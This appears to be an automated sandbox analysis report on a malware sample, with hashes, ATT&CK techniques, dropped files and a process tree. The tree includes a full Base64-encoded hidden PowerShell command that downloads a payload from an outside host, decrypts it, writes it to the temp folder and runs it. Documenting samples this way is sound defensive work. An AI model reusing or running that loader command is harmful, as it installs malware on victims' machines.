07a4589916ab6f7b7a954a06dbb012b09522c5b3f90451c8120e6212598a6950

Analysis

max time kernel
149s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
29/05/2026, 03:11

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-05-29_7e3c410b252ca48288a48e01534dae38_akira_cobalt-strike_rusty-stealer_satacom.exe
Size 123KB
Sample260529-dpp6tsby2v
SHA256 07a4589916ab6f7b7a954a06dbb012b09522c5b3f90451c8120e6212598a6950
MD5 7e3c410b252ca48288a48e01534dae38
SHA1 e769fd51098be946bac78f03ff9c7c01438cfb3c
SHA512 779c93efaa75291ebb4fe971969c73a10ea3dd68bffe7d0c781dfd1853fa62b169f477ba6eba43f51b9b7ee5070aa8be4d414a65f4e7701ad26ef4f42b98fd5d
SSDEEP 1536:Dgg2QZNFWgPYh3O/7TH7TmwqGsdvwysu1Dmumv1aqq7x0D4v9:Eg2SNPeezT/UG+oW4H9vU1v9
TLSH
T1D8C33913794560FCE14AC038C21586639B76B8D60B226BFF16F935343F69AE63F3A614
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3868	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3868	powershell.exe
3868	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3868	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2516 wrote to memory of 3376	2516	2026-05-29_7e3c410b252ca48288a48e01534dae38_akira_cobalt-strike_rusty-stealer_satacom.exe	82
PID 3376 wrote to memory of 3868	3376	mshta.exe	83

C:\Users\Admin\AppData\Local\Temp\2026-05-29_7e3c410b252ca48288a48e01534dae38_akira_cobalt-strike_rusty-stealer_satacom.exe
"C:\Users\Admin\AppData\Local\Temp\2026-05-29_7e3c410b252ca48288a48e01534dae38_akira_cobalt-strike_rusty-stealer_satacom.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2516
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\\u_YnvL.hta"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3376
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden -EncodedCommand JAB1AD0AJwB1AHAAbABvAGEAZAAuAGMAbwBtACcAOwAkAGMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAYgA9ACQAYwAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJAB1ACkAOwAkAHgAPQAzADEANgAyADUAOwBmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgACQAYgAuAEwAZQBuAGcAdABoADsAJABpACsAKwApAHsAJAB4AD0AWwBpAG4AdABdACgAJAB4ACoAMQAxADAAMwA1ADEANQAyADQANQArADEAMgAzADQANQApADsAJABiAFsAJABpAF0APQBbAGIAeQB0AGUAXQAoACQAYgBbACQAaQBdACAALQBiAHgAbwByACAAKAAkAHgAIAAtAHMAaAByACAAMQA2ACAALQBiAGEAbgBkACAAMAB4AEYARgApACkAfQA7AFsASQBPAC4ARgBpAGwAZQBdADoAOgBXAHIAaQB0AGUAQQBsAGwAQgB5AHQAZQBzACgAKABbAEkATwAuAFAAYQB0AGgAXQA6ADoAQwBvAG0AYgBpAG4AZQAoACQAZQBuAHYAOgBUAEUATQBQACwAIgBwAC4AZQB4AGUAIgApACkALAAkAGIAKQA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAoAFsASQBPAC4AUABhAHQAaABdADoAOgBDAG8AbQBiAGkAbgBlACgAJABlAG4AdgA6AFQARQBNAFAALAAiAHAALgBlAHgAZQAiACkAKQA=
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3868

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_cxqyiukx.he0.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cxqyiukx.he0.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

u_YnvL.hta

Path C:\Users\Admin\AppData\Local\Temp\u_YnvL.hta
Size 968B
SHA256 a02aabfc4d2523bedb76262e62eeac0531367f3ce6a76340b439763dd7b15288
MD5 aace3144b8302eeabec8ec76d7afb920
SHA1 05b2f91df5d9bcc8b70bef8c0b05f6933c8720f4
SHA512 c99c0b890b305ecfc796e5418032368322d99abe378a4547381408b2ecf0de8689aaae10da4bb881a54902dab9952115c72d542e82bd6d15cf994a0ef13be37d
TLSH
T180119B68CDB0EDD0832D73A18D763F4E1090A56386A5AA6CDE0009A8B51534CFF1528C
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3868-9-0x00000121EABB0000-0x00000121EABD2000-memory.dmp

Download

memory/3868-12-0x00000121D1D30000-0x00000121D27F2000-memory.dmp

Download